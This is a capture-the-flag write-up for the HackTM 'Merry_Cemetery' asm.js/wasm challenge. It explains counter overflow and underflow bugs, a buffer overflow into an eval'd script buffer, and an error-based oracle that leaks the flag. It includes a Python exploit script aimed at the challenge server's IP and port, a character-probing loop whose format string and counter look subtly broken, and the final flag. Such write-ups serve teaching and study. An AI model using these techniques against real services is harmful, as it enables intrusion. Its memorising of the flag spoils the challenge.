Merry_Cemetery writeup

challenge description

The challenge was based on a program written in C and compiled to wasm and asm.js using emscripten framework.

Both .wasm and asm.js files were provided in the challenge(merry_cemetery.js, merry_cemetery.wasm), and no description at all besides “Rest In Peace”. We chose to work on the asm.js version.

First thing first, we ran the .js file in d8, and got this message:

In a land far far away, where only joy and laughter rules, a group of locals decided to keep this joy even after death. Thus was born the merry cemetery. A blue place, where the best jokes are inscribed on the graves. You will be given the opportunity to decorate some graves with your best jokes.

We're expecting quality humor only

 [+] Add New Joke

 [-] Delete Joke

 [$] Reward

We opened the .js file and soon noticed that there is a global variable named “aaaa”:

var aaaa = "HackTM{XXXXXXXXXXXXXXXXXXXXX-real-flag-on-remote-server}";

Which we probably need to find a way to print it on the server.

understanding the code

asm.js is a subset of JavaScript designed to allow computer software written in languages such as C to be run as web applications while maintaining performance characteristics considerably better than standard JavaScript, which is the typical language used for such applications.

We navigated to the “__main” function. As expected the code looks like any other low-level language in terms of memory usage, stack management and arithmetic operations.

The whole memory of an asm.js / wasm program is presented using a JS ArrayBuffer.
There are several JS TypedArrays that wraps this buffer in order to provide access to the memory with different data types:

  buffer = new ArrayBuffer(TOTAL_MEMORY);
  Module['HEAP8'] = HEAP8 = new Int8Array(buffer);
  Module['HEAP8'] = HEAP8 = new Int8Array(buffer);
  Module['HEAP16'] = HEAP16 = new Int16Array(buffer);
  Module['HEAP32'] = HEAP32 = new Int32Array(buffer);
  Module['HEAPU8'] = HEAPU8 = new Uint8Array(buffer);
  Module['HEAPU16'] = HEAPU16 = new Uint16Array(buffer);
  Module['HEAPU32'] = HEAPU32 = new Uint32Array(buffer);
  Module['HEAPF32'] = HEAPF32 = new Float32Array(buffer);
  Module['HEAPF64'] = HEAPF64 = new Float64Array(buffer);

For example, accessing a single byte, would require the use of HEAP8 typed array.

There are several interesting functions in this program:

main:

​ Gets the user input, and calls the right function with a switch case statement.

case add_joke:

​ The program has a joke counter, as a local variable on the stack.

​ Calling the add_joke function with the joke counter, will allocate 50 bytes buffer for the new joke, and saves the pointer to it in an array.

​ You can see that the jokes array can only hold up to 256 jokes:

 $8 = (_malloc(50)|0);              #allocate buffer for the joke
 $10 = $8&255;                         #get the joke index into the joke array
 $11 = (17280 + ($10<<2)|0);        #get the joke array from memory(17280 is the offset of the array)
 HEAP32[$11>>2] = $8;               #write the pointer to the joke into the joke array

The function returns 0 if it successfully allocated and stored the joke, and increment the counter of the jokes:

    $7 = sp + 24|0;               #initialization of the counter
    $16 = HEAP8[$7>>0]|0;         #reading the current number of jokes
    $17 = (($16) + 1)<<24>>24;    #incrementing it by 1
    HEAP8[$7>>0] = $17;           #writing it back to stack

Here we found our first primitive-

​ We are able to overflow the counter from 255 to 0 when we exceed the number of jokes(255)

We can see an interesting if statement right after the last code snippet:

    $18 = HEAP8[$7>>0]|0;                        # reads the joke counter
    $19 = $18&255;
    $20 = ($19|0)==(255);                        # check if the counter equals to 255
    if ($20) {                                   # if so, write 0xff on the counter
     HEAP8[$7>>0]=-1&255;                        # and the next 3 parameters on the stack
     HEAP8[$7+1>>0]=(-1>>8)&255;
     HEAP8[$7+2>>0]=(-1>>16)&255;
     HEAP8[$7+3>>0]=-1>>24;
    }
case remove_joke:

​ Calling the remove_joke function with the joke counter, will access the joke array at the joke counter index and will free the allocated memory for that joke.

​ It will overwrite the freed pointer with 0, and return 1 when finishes.

​ After that joke counter is decreased based on the return value of the remove_joke function(which is always 1)

Here we found our second primitive- (which is very similar to the first one)

​ We are able to decrease the joke counter to underflow from 0 to 255.

case Reward:

Code checks the joke counter to see if it reached 255, if so- it enters an unreachable code? (as seen from the comment)

 $6 = sp + 25|0;                                      # init the buffer
 $27 = HEAP8[$7>>0]|0;
 $28 = $27&255;
 $29 = ($28|0)==(255);                                # check wether the joke counter
                                                      # reached 255
 if ($29) {
  (_write(2,$6,1)|0);                                 # write one byte from the buffer
                                                      # into stdErr fd
  $30 = HEAP8[$6>>0]|0;
  $31 = $30&255;
  _gravestone($31);                                  # call gravestone with the written
                                                     # byte
  _exit(0);
  // unreachable;
 }

*** If you recall when writing 255 jokes, the program writes the joke counter and the 3 following bytes with 0xff.

$6 = sp + 25|0;
$7 = sp + 24|0;

As you can see the byte that passed into gravestone is right after the joke counter on the stack! we can overwrite it!!!

gravestone function:

Gravestone function asks us to insert a new joke :

Due to your kindness and hard work, the locals would like to reward you by allowing you to decorate your own gravestone.
++ Insert Joke:

It then reads the user input with the length of the entered parameter (0xff as you probably remember), and writes it into 17136 address, and calls check on the entered input.

 $16 = (_read(0,17136,$15)|0);                      # read into 17136 offset in memory
                                                    # 0xff bytes
 $8 = $16;
 $17 = $8;
 $18 = (_check($17)|0);                            # call check on that buffer

If the check function returns 0, then the gravestone function will call _emscripten_run_script on 17168 address. this function calls eval on the passed parameter, which will be called from now on the “run script” buffer.

 $18 = (_check($17)|0);
 $19 = ($18|0)!=(0);
 if ($19) {
  _emscripten_run_script((17168|0));
  STACKTOP = sp;return;

Note that our inserted joke is at 17136, and we wrote 0xff bytes- this means that we overflowed the “run script” buffer! 🙂 (starting from the 32 byte).

check function:

​ The check function loops the inserted joke, and checks that the joke contains only non alphabetic ascii chars, except the letter “a” (97 ascii value)

while(1) {
  $4 = $3;
  $5 = $2;
  $6 = (($5) - 1)|0;
  $7 = ($4|0)<($6|0);                                 # current_index < len_str
  if (!($7)) {
   label = 9;
   break;
  }
  $8 = $3;
  $9 = (17136 + ($8)|0);                              # pointer into inserted string
  $10 = HEAP8[$9>>0]|0;
  $11 = $10 << 24 >> 24;
  $12 = ($11|0)>=(98);                                # current byte >= 98 (== b)
  if ($12) {
   $13 = $3;
   $14 = (17136 + ($13)|0);
   $15 = HEAP8[$14>>0]|0;
   $16 = $15 << 24 >> 24;
   $17 = ($16|0)<=(122);                              # current byte <= 122 (== z)
   if ($17) {
    label = 7;
    break;
   }
  }
  $18 = $3;
  $19 = (17136 + ($18)|0);
  $20 = HEAP8[$19>>0]|0;
  $21 = $20 << 24 >> 24;
  $22 = ($21|0)>=(65);                               # current byte >= 65 (== A)
  if ($22) {
   $23 = $3;
   $24 = (17136 + ($23)|0);
   $25 = HEAP8[$24>>0]|0;
   $26 = $25 << 24 >> 24;
   $27 = ($26|0)<=(90);                             # current_byte <= 90 (== Z)
   if ($27) {
    label = 7;
    break;
   }
  }
The exploitation:

​ So now we know enough to do pretty much everything.

​ Lets combine our primitives to call the gravestone function, and later run our JS script (contains only ascii characters and lowercase ‘a’).

###### Exploitation workflow:

  1. Send 256 jokes 49 bytes long each. ​ This will overflow our joke counter to 0
  2. Remove the last joke ​ Whis will underflow our joke counter back to 255
  3. Call Reward to trigger a call to the gravestone function
  4. Send a non alphabetic javascript that will run on the server.
  5. Get the flag 🙂 woohhooo!

We still have a very big problem-

​We need to figure out how to overcome the limitations of the check function!

Remider: our flag located in a global variable named “aaaa”, which is good for us, but we can’t print it using console.log or any other trivial way due to our limitations. But we do get the stderr output when an exception occured.

What if we can trigger an indicative error to help us get some more information about the flag?

We tried to call aaaaaaaaaa() and we got an error “the aaaaaaaaaa() function is not defined”, OK.

So, we know how to trigger an error which we can control its data in somehow, so lets use it for our advantage!

We know that the Flag starts with “HackTM{” and ends with “}”, so we sent this script:

'{' == aaaa[6] ? aaaaaaaaaa() : 1

If the statement is True, the code will go ahead and try to call aaaaaaaaaa(), if not- nothing will happen.

Well, how about that?! it worked!!

We can now evaluate expression like this to get more information about the flag.

How we used it:

We wrote a little python script which communicate with the server and runs a script of our choice:

import socket

def run_script(script):
    sock = socket.socket()
    sock.connect(("138.68.67.161", 20002))
    for i in range(256):
        sock.send("+" + "a"*49 + "\r\n")
    sock.send("-")
    sock.send("$")
    script = ";"*(255-len(script)) + script + ""
    data = "Aaa"
    while "Insert Joke" not in data:
        data = sock.recv(1024)
        # print data
    # print script
    sock.send(script)
    data = sock.recv(1024)
    sock.close()
    return data
  • We first wanted to know the length of the flag. so we tried to check ‘}’ against aaaa[idx], when ‘idx’ is an increasing counter. When we see the error we expect, we know we found it.
idx = 0
while True:
    print "current idx = %d" % (idx)
    val = run_script("'}' == aaaa[idx] ? aaaaaaaaaa() : 1" % (idx,))
    if "is not defined" in val:
        print "we found it! %d" % (idx)
        break
  • Next we tried to find a match with every character we can send. as you probably know flags are often contain non alphabetic ascii characters. this produced a several “bingo’s” but yet, not enough.
  • Next we tried to use the fact that the flag starts with “HackTM” to compare these letters to every character in the flag. sadly we found nothing.
  • Next we tried to find letters that appear several times, by looping the flag and comparing each letter to the rest. we found many letters that appear more than once and documented their location on the flag string.
  • Next we tried to understand if the flag consists of uppercase letters or lowercase one by comparing it to “a”- the only letter we can send. if the letter is bigger then “a” and smaller then “{” it means it is a lowercase letter and so on (based on ascii table). We found that all the remaining letters are lowercase letters.
  • Next we tried to compare each letter we don’t know to the others, and to “c”,”k” from the “HackTM”, in order to understand which comes before the other in the alphabet and order our “jokers” (the letters that are yet to be found).

Now, we can build the flag structure based on the information we gathered on the previous steps:

HackTM{[X]4[Y]_[Y]0[Z][Q]_[W]4[Y][T]_[R]3_[X]3[Q][Q][Y]_4[U][W]_[R][Q]1[H][J][K]}

Based on the comparisons we performed between every 2 letters on the flag, these all the possible options of the missing letters assignments:

{
"[W]" : ["d", "e", "f", "g", "h", "i", "j"],
"[H]" : ["e", "f", "g", "h", "i", "j"],
"[J]" : ["f", "g", "h", "i", "j"],
"[X]" : ["k", "l", "m", "n", "o", "p", "q", "r", "s", "t"],
"[U]" : ["l", "m", "n", "o", "p", "q", "r", "s", "t", "u"],
"[Q]" : ["m", "n", "o", "p", "q", "r", "s", "t", "u", "v"],
"[T]" : ["n", "o", "p", "q", "r", "s", "t", "u", "v", "w"],
"[K]": ["o", "p", "q", "r", "s", "t", "u", "v", "w", "x"],
"[Z]": ["p", "q", "r", "s", "t", "u", "v", "w", "x", "y"],
"[Y]": ["q", "r", "s", "t", "u", "v", "w", "x", "y", "z"],
}

Now, after some guessing based on common English words based on the possible options, we found the flag:

HackTM{m4y_y0ur_d4ys_b3_m3rry_4nd_br1ght}

Thats all! 🙂

Thank you for reading.